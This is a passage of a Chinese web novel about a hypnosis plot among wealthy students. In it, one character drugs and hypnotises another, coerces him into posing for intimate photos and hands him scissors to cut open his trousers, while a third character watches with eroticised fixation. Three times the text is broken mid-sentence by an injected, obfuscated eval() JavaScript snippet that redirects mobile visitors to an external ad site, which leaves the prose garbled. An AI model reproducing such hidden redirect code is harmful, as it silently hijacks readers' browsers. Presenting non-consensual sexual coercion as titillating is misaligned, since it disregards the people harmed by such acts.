地上灰尘四下扬起,谢宥无动于衷,掩在平直睫毛中的双眸依旧直直看着悯希的脸,周围实在过于安静,他一开口,含满血腥气的声音竟硬是挤出几分诡异的低柔。 “你在这里做什么。” 悯希没回话,被吓的。 但他依旧记得自己的人设,那张脸面无表情,冷冰冰,看谢宥的视线充满居高临下的嫌弃。 明明当下场景和姿势都不应该拿乔,他还是绷着那尖俏下巴。 谢宥见人不吭声,没继续问,他走上前,用那只布满淤青的手重新捡起那张破凳子,放回到悯希双脚下,“先下来。” 悯希手撑得很酸,见有凳子,立刻顺坡下驴爬下来。 谢宥没看他,将凳子拉开,转身绕出这里。 悯希其实有点打退堂鼓,但拍照的任务还没完成,他硬逼自己气焰燃起来,冷着眉梢跟在谢宥后面闯进他屋子。 他的举动,好似在谢宥预料之中,谢宥依旧是那副风平浪静的模样。 他平静将那瓶药塞进柜子里,又抬眼问:“要喝水吗?” 悯希坐到沙发上,用余光瞥他,下意识摆了个不的口型,随后马上改口:“是热的吗,那给我来一点点吧。” 谢宥根本没准备去拿水杯,闻言手指顿了顿,用暗藏云涌的目光看向悯希。 悯希没注意到,还在沙发上努力装嚣张。 这是很正常的对话,但放在他们身上,从没发生过。 他们之间不会有这么平和的时候。 在很早之前,叶悯希欺负谢宥就不只是单纯想让谢宥离萧以梵远一点了,他后面很多次欺负谢宥,单纯是为了让自己爽。 毕竟让高岭之花匍匐在自己脚边,打不能还手,骂不能还嘴的模样,光是想想都令人心潮澎湃。 谢宥最后还是给悯希倒了杯热水,他递过去。 口干的悯希立刻接过来喝。 他喝水有自己的节奏,前面半杯一口咕咚下去喝得很快,后面半杯就磨蹭地一口一口喝。 谢宥没有催,一直到两分钟后,他见悯希把水杯放在桌上,才开口问:“喝完了吗?” 悯希下意识点头。 点到一半,谢宥朝他看过来:“喝完就该回答问题了。” 刹那间,悯希只觉得谢宥那眼神有点怪,不该是看常欺负自己人的眼神,可未等他细细思索,耳边传来一声怪异的闷响。 当的一声,把悯希的神智敲碎了。 悯希甚至来不及知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165228|165099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道发生了什么,后背就变得湿漉不堪,浑身上下每一寸地方都陷入催眠带来的灼烧之中,只会机械地张嘴呼吸着氧气。 谢宥看了他一眼,走到墙角拎起一个椅子,又重新走到他前面。 此刻的悯希瞳孔焦距已经开始慢慢发散,只残留一点点的意识。 巴掌大的小脸,鬓边微卷的头发,长睫下一双魅惑的眼睛,货真价实的祸水长相。 他潜意识里害怕谢宥靠近,死死靠在沙发上,背挺得很直,致使腰那部分的曲线更加细细地收紧。 谢宥俯身坐在了悯希对面的椅子上。 他上半身每个部位的比例都要比悯希高出一截,所以即便凳子比沙发矮出一些,他也仍然比悯希高出许多。 这让他们看起来像坐在讲台上下的老师与学生。 而谢宥坐稳后,也用那副没有波澜的口吻,真问起沙发上意志被摧毁了的男生。 他问:“你是谁。” 悯希眨了眨双眼,反应有些迟钝,脸上也是一片醉酒般的醺醺然,他目光无法聚焦,只能轻启嘴唇,乖巧地低声答道:“我是……悯希。” “不对。” 悯希睁大双眼,瞳孔里露出浓浓的不解:“为什么……不对?我就是悯希。” 小小的客厅门窗紧闭,四周不知何时蔓延开紫色气雾,悯希整个人被包围进里面,没有察觉到不对,反而觉得这才正常。 他在这雾里身体变得更加无力,谢宥的声音在他耳朵里也更为飘渺:“你是我的朋友,我们是不能隐瞒对方的关系,接下来无论我问什么,你都需要诚实回答,不能撒谎。” 谢宥很少说那么长的话,听起来嗓音极淡,像一根长长的木桨,在悯希的脑子里搅起汹涌的浪潮,悯希几乎是瞬间就呆滞了。 ……是这样的吗,谢宥是他的朋友吗?他们是不能隐瞒对方的关系? 无数个怀疑和否定的气泡从心底浮起来,又一颗一颗被强势戳破,大片的海浪飘过,将他的记忆全部冲刷走,一丁点都没剩下,放眼过去,只留下无边无际的“朋友”两字。 悯希眼中的疑惑慢慢被坚定取代,他轻轻嗯了一声,顺从回答:“我……知道了,我不会撒谎的。” 他眼睫抬得高高的,表情无辜又天真,简直看不出来皮肉下的蛇蝎和恶毒。 谢宥看着他的模样,喉结滚了滚:“你今晚来我家要做什么?” 悯希皱眉道:“我今晚来你家是要……” 他好像也记不清了一样,努力回想,然后说:“是要拍你的隐私照。” 谢宥表情出现了极为明显的停顿。 “隐私照?”谢宥重复一遍,嗓音很轻。 他想过叶悯希可能会说,我看你不爽要把你家砸了,又或者是说,要再把你揍一顿。 唯独没想到,回答是这个。 不过谢宥很快想清楚了,拍他的照片,也就能更好地掌控他、威胁他。 但凡他不听话,马上把他照片放到社交平台上,能最有效地让他身败名裂。 谢宥眼神微暗,偏偏悯希还在单纯地继续说自己的想法:“我本来是想直接进你家的,可我只有一个人,我怕打不过你,所以我绕到了你家后面,还好你家卫生间的窗户没有贴防窥膜。” 谢宥看着他,没对他的做法提出什么评价,只突兀问道:“想拍哪里?” “嗯?” “你原本,想拍哪里?” 悯希蹙眉,苦恼:“我不知道……我没想好。” 谢宥看他许久,久到哪怕这个状态下的悯希也忍不住往里缩了缩,就见他俯身,从悯希口袋里拿出自己的手机,语气平静道:“我不太明白,什么程度算隐私,不如你先让我拍一张做示范。” 悯希呆呆的:“示范?” 谢宥表情与动作都一样平淡,仿佛说的话和准备要做的事都跟讨论家常和吃饭喝水一样寻常。 悯希被他这副神态唬住了,一时竟然觉得也不是什么大不了的事,乖顺道:“好。那你拍完了,我也要拍。” 谢宥没点头答应。 他将手机调成拍摄模式,面上还是毫无情绪,嘴里说的却是:“你觉得,拍上面好,还是拍下面好?” 5. 催眠(5) 黎星灼把车开到了空气还算好的地方。 怕悯希出来以后找不到他,他停好车,走出来在车边站着。 他靠在车门上,身躯微弓,指尖夹着一根烟,没点燃,光夹在手里。 黎星灼把手机摁亮,余光见有一只白狗经过,挑眉冲它抬了抬手指:“哥们,来一根?” 白狗鄙夷地从他身边走过,理都不理。 黎星灼意兴阑珊收回目光,划动屏幕,手里的烟一直没点。 他其实不抽烟,黎星灼看着很会玩,其实私下里烟酒都不沾,但他有时会出没一些公众场合,为了杜绝别人递烟,就养成了把烟夹手里的习惯。 掌心托着手机,黎星灼不停往下滑,刷到的东西都没往心里去。 直到看见有人在十分钟前发出来的一张照片,上面的文字写着:今晚在宴会上拍的,有谁认识? 这人黎星灼没印象,估计是以前去谁的酒局随便加的。 但图片上的人他却很熟,脸色很红,倒在一个男人的臂弯里,醉得东倒西歪。 黎星灼盯那张照片盯了片刻,心想果然挺一般的,然后长按保存。 继续下滑。 黎星灼皱眉,在一条评论着“裤子穿这么短,什么成分”的人下面回复:兄弟,要不要考虑打个唇钉? 那评论背后的人显然知道黎星灼的家底和名声,瞬间受宠若惊地秒回:之前没想过,不过黎少爷都这样说了,不打我也得奔着助兴去打一个,黎少爷推荐哪种? 黎星灼回:把上下嘴唇都钉上的那种。 那人回了什么,黎星灼没看见,他的注意力被一台疾驰进来的车吸引。 那车是首发版,价值三百万左右,在他眼里不算贵,但也是台好车,料想里面的人也是个有头有脸的。 车门很快打开,下来三四个年轻人,黎星灼目光在最后下来那人身上停留了一阵。 那人唇峰削薄,鼻梁高挺,眉眼间流淌着不知深浅的笑意,让黎星灼不太舒服,他又是个没好奇心的人,很快收回视线。 而在他转身重新上车的那一刻,那几个年轻人笑嘻嘻踩过地上的水洼,转头道:“恺封,你爹真让你送合同过来给谢宥?” 被叫做恺封的男人笑而不语,旁边勾着他肩膀的人则大咧咧替他答:“是啊,群里不是说了?他爹不想见谢宥,让恺封过来和谢宥谈,给九百万,让谢宥离开这里,滚回他的小县城。” “九百万,那穷酸鬼一辈子都没见过那么多钱吧。” 其他人笑得前仰后合:“别说九百万,我估计他连百元大钞长什么样都不知道,手里只有五块十块的哈哈,他恐怕都不会手机支付吧?” “哎哟快别说了,都要把我笑死了……恺封,谢宥家是哪间?快点谈完让他滚蛋,晚上还有局呢。” 谢恺封没参与到他们的嘲讽里,只是嘴边一直挂着仿佛度量过的微笑,闻言,他抬头看向前面一处房子。 几人顺着一起看过去,人都有窥私欲,看到房子后的第一刻,这几人都往窗户里望。 谢恺封也不例外。 谢恺封记得上次来的时候,谢宥正在里面修台灯,这次,他也下意识朝桌子旁边看。 然而当他目光穿过窗户时,却没看到正在修台灯的谢宥,也没看见忙前忙后的谢宥。 他看到的,是坐在椅子上的谢宥……还有一个出乎他意料的人。 谢恺封瞳孔骤然一缩。 他的视线几乎是不受控地挪动,钉在了某一处。 当仔细看清了那张脸后,谢恺封喉结一咽,发出了极为明显的吞咽声,身体在短短一秒钟内发生急剧变化。 好似有一头凶兽在胸腔里孵化了出来,想要冲出去见什么人,头颅疯狂地碰撞着四周脆弱的粘膜,嘴里滴下粘稠的涎水,滴答滴答地,一点点掉在地上。 谢恺封被撞得呼吸不畅,面上表情却还是丝毫没有变过。 他沉默着,听到旁边的人嘴里传来喃喃声:“谢宥身边那个人是……” - …… 谢恺封不是谢宥的亲哥哥。 谢长山精子质量低,在外,他坐拥的谢氏集团独占鳌头,在内,他却只是一个可悲又可叹,终生只生下一个亲生子嗣,此后再没有任何血脉的可怜男人。 他注定是没有子孙福的,唯一亲生的孩子也早在八辈子前就被拐走。 在那以后,谢长山受到了刺激,不顾别人眼光,整日尽往家里带不三不四的人。 谢恺封的母亲是这群与他厮混的人中的其一,她上位的手段很不光明,但也着实很有效,靠捏造出的高素质家世和妖娆身段,她成了谢长山的女人,谢恺封成了谢长山的儿子。 但在谢长山看来,谢恺封是个和他毫无血缘,随时可以吃里扒外的野种,不是珍宝,而是不知底细的小狼,谢恺封成长过程中,前五年从未得到过谢长山的父爱,唯有这两年,他不僭越不肖想,逐渐展示出不可取代的商业才能,谢长山才慢慢对他投来一点眼光,一点关怀,一点宠爱。 尤其这半年来,谢长山已经让他参与到集团的核心,甚至前不久才当着所有高层的面宣称他是自己无比看重的儿子。 儿子、儿子,谢长山那么薄情的人,嘴里也能说出那样的话,眼看谢家的所有他即将唾手可得。 可这个时候居然突然跑出来一个许睿,说找到了谢长山二十年前被拐走的孩子的下落,就在一个小县城里,成绩优异,性格稳重,不日就能下飞机回到谢家。 听到消息的那一刻,谢恺封心脏里不受控地涌动出了无穷无尽的恶念,他明明已经占据谢宥十多年的安逸与奢华,从没经历过风雨与尘暴,可他依旧对这个没见过面的谢宥产生了极端的恶意,他想杀了谢宥、想分尸、想投湖,怕谢宥被认回来后,抢走他好不容易争来的一切。 可谢恺封既然能摆脱野种的标签,自然心思比旁人重,他表面还是宠辱不惊,还能当着谢长山的面笑眯眯地恭喜他,而私下里,他却暴怒地派出自己的人,去调查谢宥的生平。 这场调查一直到谢长山不知为何突然宣布不认回谢宥后,也在持续性地进行着。 谢恺封掌控着谢宥每天的行为轨迹和动作,知道他在和谁接触,每天都干了什么。 所以,当谢恺封看向谢宥家的窗户时,自然也就第一时间认出了,里面那个窝坐在沙发上的人是谁。 和他不认识,却又和他站在统一战线,对谢宥同样深恶痛绝的叶悯希。 按照谢恺封了解到的叶悯希这段时间对谢宥做的那些事,他想叶悯希出现在谢宥家里,应该又是要羞辱他、作践他。 说不定是正逼着谢宥给他打洗脚水,又或是正要求谢宥给他捶肩揉背——本该如此,理应如此。 但为什么…… 谢宥家的门隔音极差,却碍于距离过远,谢恺封和旁边这帮人都听不见里面的两人在说什么。 他们唯一能看见的,是谢宥与叶悯希面对面坐着,叶悯希茫然无比地望着谢宥,两人之间是别人插足不进去的诡异氛围。 根本不像是在吵架。 缩在沙发里的人很小、很弱不禁风,头发却如泼墨般的乌黑,时不时扫过如羊脂玉般柔腻的后颈。 谢宥不知在对他说什么话,他很是紧张和忐忑,按在膝盖上包裹住软肉的双手时而握紧、时而松开,那丰满的皮肤就在他指尖下鲜活地凹陷和回弹。 他两条修长的腿并得死紧,害怕一分开,就碰上两边谢宥的腿,客厅中央的灯投下来,在他腿上映出薄如蝉翼的暗光,粗糙一看,像包裹住腿肉的黑丝,淫靡又充满诱惑。 谢恺封眼神不知不觉暗沉,他之前看过叶悯希的照片,但竟不知真人看起来是如此的软嫩,丰盈,皮肤酥弹,整具身体充斥着令人销魂的吸引力。 旁边一人经过长时间的沉默后,终于开口问道:“恺封,怎么说,我们是直接进去?” 另一人以前跟谢恺封来过一趟,此时语气微妙:“谢宥那回看着警惕心挺强的,没走近就看过来,都吓我一跳,今天怎么连窗帘都没拉,也没注意到外面有人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165229|165099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢恺封没说话,他站在暗处,身体的重心微微集中在前脚,眼睛已经快半分钟没有眨动过,黏腻过头地盯着窗户里的两人,好像想要闯进去,替代谢宥坐在凳子上将叶悯希禁锢在双腿里一样。 旁边两兄弟见他这模样,都没多想,他们知道谢恺封性冷淡,以往在他身边塞多少男男女女他都无动于衷,自然也不会突然对一个人有感觉。 谢恺封也这么认为,他将自己波澜不惊皮囊下的躁动认定为是激动,能赶走谢宥的激动,与旁人无关。 谢恺封依旧盯着窗户里面,在身边两人想要动作时,他忽地抬手一挡,文质彬彬地弯唇笑道:“我自己去就行了,一起进去,我怕他会应激,到时候要是情绪太激动了,不好对话。” 那两人一听,说不上是不是失望,都有些安静地停下来。 他们眼睁睁看着谢恺封拢起衣袖,提步朝那边走去,便偏了偏目光,掺杂着上不得台面的炽热,黏在窗户上,他们还年轻,容易被挑逗,被勾引,不知怎么里面那人偶尔挪蹭一下腿的动作,总让他们忍不住盯着看。 谢恺封拿着手里的合同,尽量让自己的脚步不那么急切,这几年在谢家的时间给他赋予了难得的韵味,他看起来不像小毛孩,而是一个成功的男人。 而他走向谢宥家的那几步还真控制得不疾不徐,然而在他快要靠近门口的时候,他突然停下来不走了。 这个距离,谢恺封正好能听见里面人的对话。 他听见门里传来一句很不解的询问:“上面是指哪里?” 谢恺封一顿,偏头朝窗户里面看去,只见叶悯希并着双腿,用求知若渴的表情问着谢宥。 那张脸清丽,无辜,鼻尖还透着一点红。 谢宥停了三四秒,回他:“不知道的话,就拍下面。” 悯希短促地皱了下眉。 某一刻,他大脑深处好像在发出警告,告诉他这样绝对不行,可他吸了两口氧气后,神志又以极快的速度瓦解和崩塌,不由自主就点了下头,附和朋友的话。 “嗯,都听你的……” 谢宥垂眼:“开始吧。” 他目光垂下,放在手机屏幕映照的双腿上。 悯希望着谢宥的动作,放在膝盖上的双手收紧了一下。 他穿的裤子非常贴合曲线,不是宽松款,裤脚剪裁得很紧,呈聚拢效果紧紧包裹着大腿根。 悯希双手微微一动,往外分开半寸后又极快并回来,他抬眼看向谢宥,脸上在瞬间流露出的可怜非常迷惑人:“要不还是别拍了,我觉得不太好。” 谢宥看他一眼,也没有为难,熄灭手机,“那你可以回去了。” 然而悯希又立刻后悔:“不,不行,还是拍吧。我今天必须得拍。” 只有谢宥拍了他,他才可以拍谢宥,所以他必须拍。 大脑不知何时被灌输进错误的认知,悯希虽然蹙着眉,透亮的手指还是往下一按。 两边的膝盖在他双手的牵引下慢慢往两边分开,逐渐露出更柔软的地方。 “是这样吗?这样可以拍了吗,谢宥,我给你做到示范了吗……唔?” “不、不对,我怎么会这样说……” 兴许是做的事情太超过极限,沙发上的人眼中忽然闪过一抹清亮,挣脱了束缚。 悯希脸上还保持着迷茫,目光却由涣散转回清明,几乎是立刻震惊地看向自己。 “天……我、我在干什么啊……” 但也就那么一秒,大片的紫雾扑过来拢住他的口鼻,悯希挣了两下,清醒的神志就再一次崩坏,将并住的膝盖又一次乖乖分开。 谢宥从始至终坐在椅子上没有动,他眼中倒映着悯希乖巧等待他拍摄的姿态,嘴唇微抿。 他想,够了,报复到此为此,没必要做那么绝。 没必要的。 手里却拿过桌沿上放着的剪刀,放到悯希手里,“这样不够。” 谢宥平静看向悯希,随后,就听见自己压着某种情绪的声音在说:“剪开口子露出来拍,那才叫隐私。” 6.催眠(6) 薄薄的一扇门,挡不住任何字眼,全被谢恺封听了去。 谢恺封逢人便言笑晏晏,时间一长,偶尔恍惚的时候,他自己都觉得自己是个大善人。 其实他很清楚,自己根本毫无同理心,冷漠残酷,麻木不仁,寻常人觉得残忍的事情,甚至无法触动他分毫。 可当他听完全程,现在又看见沙发上的叶悯希握紧剪刀、嘴唇微张的样子,居然会前所未有地,感觉到……可怜。 明明说了不要,却因为种种不得已的原因,被迫敞开膝盖,如今还要接下谢宥递过来的刑具。 许睿不是说,谢宥是个沉稳可靠的好孩子? 有逼迫别人拿剪刀剪开自己裤子的好孩子吗。 谢恺封说不清心中涌动起来的燥热是什么,总之他没有再继续往下听,一把推开那扇门,踏了进去。 嘎吱一声,不速之客的到来引起了屋内两个人的注意。 谢恺封的皮靴声很醒目,只见椅子上的谢宥迅速关闭手机,偏头看了过来,而沙发上呆滞的悯希则好似突然被一根细针戳破了什么状态,睫毛一眨,茫茫然抬起眼。 谢恺封很满意他们的注意力都被吸引过来,他笑着启唇道:“抱歉,我敲过门的,但你好像没听见。” “我有重要的事找你,要是你一直不理我,那可就不好办了。” 他话是对着谢宥说的,目光却朝谢宥前面望去。 谢恺封心里有着新奇的感受,他感觉自己拯救下了一个即将遭到亵玩的秀丽男生,让他免遭谢宥这个道貌岸然的混帐的强迫。 但不知道为什么,被他解救的男生并没看他,而是紧盯着自己的双腿,眉心时不时蹙起。 悯希清醒过来了。 他坐在沙发上,抬起手按住有点发胀的眉心。 大脑有些痛,悯希缓了两秒,还是头疼,尤其是看见自己腿上的红痕印时。 悯希只记得自己刚喝完水把杯子放在了桌上,然后呢?然后发生了什么? 为什么谢宥会坐在他前面,抢过来的手机又是什么时候回到谢宥手里的? 记忆衔接不上。 这些问题充斥着他的大脑,让他一时都没心思去关注突然闯进来的谢恺封是谁。 他是喝了酒,但不应该什么都不记得…… 不过,喝酒的确会断片,他又是第一次喝这么醉,说不准大脑记忆就是会这样断断续续的连不上。 悯希想清楚这一点,还是觉得哪里很怪,他不由抬头看向谢宥。 男人坐在椅子上,察觉到视线,漆黑的眉眼望过来,表情很淡,让人根本读不出他是什么心思。 悯希心口一窒,身体不知为何抵触地往后缩了缩。 他匆匆站起来,躲过谢宥深沉的视线,满脑子只想快点远离这屋子,于是一句话没说,绕过谢宥和门口的谢恺封,直接走了出去。 太怪了、真的太怪了,酒精的作用会这么大吗? 喝水的时候还是清醒的,突然就断片了? 悯希没顾后面谢恺封渴极一般望来的目光,一路快速走出去,直到闷头走出数米远,后方谢宥家只剩下模糊的影子后。 他脚步慢下来,拿出自己的手机,调到某宝余额界面。 悯希想起了自己还要去医院缴费用,还有系统告诉他明天开学的事,但他忘了查原主的底细。 透析一次也得一千,别去了钱不够。 悯希盯住那一段数字,小声嘀咕:“五百,六十八块,八毛,八……” 头顶突然传来黎星灼的声音:“你去哪了?去这么久。” 悯希一颤,肩膀细细密密冒出小疙瘩。 等好不容易平复,他望了一眼黎星灼,说了句没什么,打开车门走上去。 黎星灼见状,也走回到驾驶位坐下,“所以接下来你要带着你的五百六十八块八毛八去医院做什么?” 悯希顿了顿,回头瞪他:“你干嘛偷听我说话!” 黎星灼不以为然:“我没偷听,我光明正大地听,我耳朵就在你后面,是你咕哝太大声了,怪你自己。” 悯希呼一口气:“我不去医院了,想先回家。” 钱不够,得想办法凑。 而且,他害怕医院里躺着的真是他记忆中一模一样的人,倘若不是,他也不希望用这副醉醺醺的样子去病房里见病人,至少要精神一点。 黎星灼已经习惯他改来改去地折腾人,搜出他说的地址,开车。 线条优越的车在暗夜里驶动。 悯希在车上打了个盹,再一睁眼,已经到了楼底下。 他揉揉眼睛,解开安全带,偏头向黎星灼随口一问:“你要不要上去坐坐?” 以前别的朋友送他回家时,他都会这么问一句,没别的意思,只是很寻常的社交礼仪,通常都会遭到婉拒的,因为时间太晚了,不仅不方便,还会打扰到别人休息。 悯希都准备好黎星灼拒绝他,打算说上一句路上小心、改天再见了。 谁知只听喀嚓、砰两声,悯希眨个眼的功夫,黎星灼已经解开安全带拔下钥匙,走出去关上了车门。 见悯希呆坐不动,他又重新打开,皱眉道:“愣什么呢,不是要请我上去坐坐?” 悯希:“……你回来。” 黎星灼唇角下压,脸上的神色重新冰封,迈腿坐进来,“啪”地关上了门,没再吭声。 悯希觑着他的脸色,后知后觉想起对方太子爷的身份,自己只是个小跟班,还得仰仗这些人的鼻息。 他不得不敷衍着哄了两句:“改天再坐吧,明天还要上课,你有车能开去学校,我只能踩自行车,很累的,得早点休息养精蓄锐。” 黎星灼略微思忖片刻,把手里的东西递过去:“想要我的车?那送你了。” “?” 悯希握着手里多出的温热钥匙,有那么两秒大脑是懵的。 什么啊,他刚刚没说想要这两个字吧…… 黎星灼是怎么听成这意思的? 他把钥匙递回去,颇有点心情复杂地开口道:“不用,我不会开。” 黎星灼:“那你是想要学校附近的房子?也不是不行。” “没有……”他到底是怎么理解的。 悯希不想再继续这鸡同鸭讲的对话,他舔了舔唇角:“我什么都不想要,我的意思是现在太晚了,我招待不好你,你还是早点回家休息比较好。” 略一停顿,他又小声开口:“你对谁都这样吗?这样不好。” 黎星灼硬邦邦道:“怎么不好了?我钱多,我花不完,想给谁给谁,路人有人帮我捡了下东西,我都能直接送他台手机,这不代表什么,你别多想。” 其实没有,他没那么冤大头,他只是被悯希连续的拒绝,弄得烦闷,感觉没面子了。 他送的东西那么难以下咽吗。 他想送就送了,为什么就不能收着,他又不缺这一台。 “我没有多想,我只是真的不需要。” 悯希和他说不通,干脆利落地打开了车门:“我先走了。” - 悯希回到原主的家后,刚熟悉了环境,想去洗个澡。 黎星灼不知道发什么疯,给他连续发来好几条消息。 第一条,黎星灼发的是自己豪车的照片:这车568.88能不能买到? 下一秒,又假惺惺遗憾:好像不行。 接着又发来一张榨汁机的图片:这个牌子的568.88差不多能买到,不过得多添两块。 悯希没见过这么贱的东西,气得想把手机摔地上,又想到买一部新手机至少也得几千块,于是大发雷霆地把手机轻轻摔在了床上。 两秒钟后,黎星灼收到了一条鲜红感叹号。 【消息已发出,但被对方拒收了。】 没了黎星灼的骚扰,又加上酒精加持,悯希睡得很沉。 拍照的任务被他暂时往后搁置,他想先尽快凑够透析的钱,而他在系统那里了解到,他是萧以梵的跟班,萧以梵每个月三号会给跟班发三千块。 三号,也就是明天。 悯希先是雀跃,再是迟疑:“萧以梵是哪个,我昨晚见过吗?” 「见过,昨晚在房间门口,黎星灼旁边那个就是萧以梵。」 昨晚的记忆浮现在脑海,黎星灼旁边的……悯希隐约记起一个高大的身影。 天雷滚滚,悯希眼前一黑:“……你怎么不早说呀!” 他根本没认出来,直接奔黎星灼去了! 谁家好跟班当着自己面,奔其他人去的? 悯希真被这消息砸傻了,一直到学校都没回神。 课表上显示,他今天满课,悯希每节课都在走神,琢磨怎么在萧以梵那挽救一下,上到下午最后一节时,他有点尿急。 匆匆拿起手机,往走廊处的厕所走去,结果正好看到保洁阿姨锁门,在门口摆了个待维修的标识牌子。 悯希无法,只能去二楼上,上完,继续回去上课。 等下了课,悯希收拾书走出门,迎面撞上一帮人走过来。 为首的对他喊道:“悯希!走了。” 悯希记得昨晚在宴会厅见过这些人,瞧着模样和他们对自己的熟稔程度,悯希猜他们应该是萧以梵的跟班,不动声色地问:“去哪?” 那人投来诧异的目光:“每晚我们都要跟萧少爷去吃饭的啊,你忘了?” 悯希镇定道:“我记得……我就是上课上糊涂了。” 那人心也大,没多想,招呼着他一起出去找萧以梵。 没走两步,到了学校门口,悯希看见了两拨人。 一拨凑在一起说说笑笑,还有一拨群龙无首,凑在一起四处张望,不停在找什么。 悯希拿着手机和那狗腿往前走了两步,听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176298|165099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人在说:“你电话打通了吗?” “没有,怎么回事。” “发消息也没人回,要不要去找找?” 悯希听着疑惑,还以为发生了什么大事,就听旁边的狗腿告诉他:“黎少一小时前就说要去上厕所,上到现在都没回来。” 悯希听了,没当回事,继续和这帮人等萧以梵。 两三分钟过去,悯希忽地表情变了变,眉毛微微皱紧又松开。 “你们先等着,我一会就回来。”留下这句,他转身重新回到楼里。 悯希沿着走廊一直进去,找见了正在拖地的保洁阿姨,他和对方说了两句话,保洁阿姨就递给他一条钥匙。 他拿着钥匙一路往前走,走到厕所门口,咔嚓把钥匙捅进锁里旋扭。 悯希把门推开,啪一下打开手机的手电筒照进去。 里面是黑的。 悯希走进门,一间一间推开门往里照。 他只是感觉有哪里不对劲,想过来看看,看一眼就回去了。 没想到,当他把手电筒的光照到最后一排隔间时,他看见微微敞开的门里,马桶盖上赫然有一道轻轻伏动的身影。 悯希心头陡然一颤,把手机抬高。 那坐着的人,便在这光芒下慢慢把脑袋从臂弯里抬起来,露出一双长期待在黑暗里的眼睛,通红的,布满狰狞的红血丝。 “黎星灼?”悯希蹙眉叫了一声。 男人慢慢调节瞳孔焦距,缓慢转过来看向悯希。 他看起来似乎很痛苦,额角上布满了渗出来的汗,脖颈全是虬结爆出的血管,不知在这待了多久,看到光芒时不适应地闪烁了一下目光。 悯希见他反应迟钝,汗越流越多,仿佛听不见外界的声音,忍不住动手拍了下他的脸:“能听到我说话吗?” 手指拍到脸上,发出轻轻的拍打声。 黎星灼好似被打回了神,呆呆地往上看,直到看见一副熟悉的五官。 居高临下的小脸,精致又矜傲的眉眼,因为处于高位,看他的眼神像在看小狗。 但在那样的目光中,黎星灼却猛然清醒过来。 肩膀僵硬着,陡然松出一口气,黎星灼声音沙哑道:“你怎么在这里……” 悯希实话实说:“你的跟班一直联系不上你,我就来看看。” 他又扫了一眼黎星灼,皱眉。 昨晚还是一副高傲孔雀的模样,清贵傲慢,看人时永远笑不达眼底,才过一天,就把自己搞成这狼狈样。 悯希不解道:“你干嘛一直待在这里啊?” 黎星灼似乎连抬眼都很累,盯着悯希的手指尖,闷声道:“想上厕所,那人没看见我,把我关起来了。” 悯希收回手不让他看,就见他盯起自己的肚子。 也不知道有什么好看的,悯希也懒得和他计较,任由他看,嘴上问:“那你不会拍门吗?” 黎星灼摇头:“动不了。” 悯希没听明白:“什么意思。” 没回话。 良久,悯希才看见几乎快抵住他肚子的人,嘴边扯出一点弧度,说:“小时候我妈忙,把我交给保姆带,那保姆粗心,我在婴儿房玩玩具,爬进了床底,她没找到我就直接锁门走了,房子大,我哭也没人理,关了一晚上才被找到,那以后,我就有点幽闭恐惧。” 他慢慢站起来,恶狠狠道:“我要去调监控,找到是哪个不长眼的不进来看一眼就锁门的,狠狠教训一顿。” 悯希怔愣的情绪还没维持多久,就被他搞得无语:“你先回去狠狠洗个澡行不行。” 外面萧以梵他们还在等,这里又太暗了,悯希想先离开这里:“好了,先出去,能走吗?” 黎星灼看他一眼,脸边的汗从下颌滑落,滴答掉在地上。 悯希蹙眉,伸出手腕:“你拉着我的手。” 黎星灼把“能”字咽回嘴里,低声:“哦。” 悯希没再和他说话,从口袋里拿出手机,转身往外走去。 黎星灼跟在他身后,从黑暗空荡的厕所走到外面走廊,才发现窗外下了雨,悯希肩膀上的衣服还有点水迹。 …… 这个点大多学生都回宿舍了,走廊上只有零星的几个人,发出模糊不清的交谈声。 窗外的雨下很大,是倾斜的,在路灯下宛如被敲碎的珠宝,一颗一颗往下坠。 悯希走在前面,让黎星灼捉住他的手腕,他则一边往前走,一边打电话和其他狗腿说,他找到自己了。 那截手腕那么细,被捉在手里,却透过布料,传来温热鲜明的体温。 黎星灼盯着。 扰人的声音,窗外的雨景,忽然全部扭曲成空无,唯有前面的背影不停放大,占据所有视野。 砰砰、砰砰。 不知道什么东西在跳,一直在跳。 好吵。 很烦。 7.催眠(7) 看见悯希带着黎星灼出来,那帮狗腿这才放心,纷纷涌上来问他去哪了。 黎星灼随便找了个借口敷衍。 连他自己都没发觉,说话的时候他一直盯着悯希。 但悯希没看他,直接跟在萧以梵身后走了。 没良心的,昨天是谁当苦力把他送去这里又送去那里的? 晚上吃饭的地点定在一家烧烤店。 这种局一般都是萧以梵或者黎星灼买单,狗腿们也不收着,都撒了欢地点,一大串一大串往烤串师傅那边拿。 只有悯希很不积极,光拿了个馒头,坐在桌边一小块一小块揪着吃。 好几次他想问萧以梵什么时候发狗腿费,但萧以梵坐的不是他这一桌,他也没找到合适的时机问。 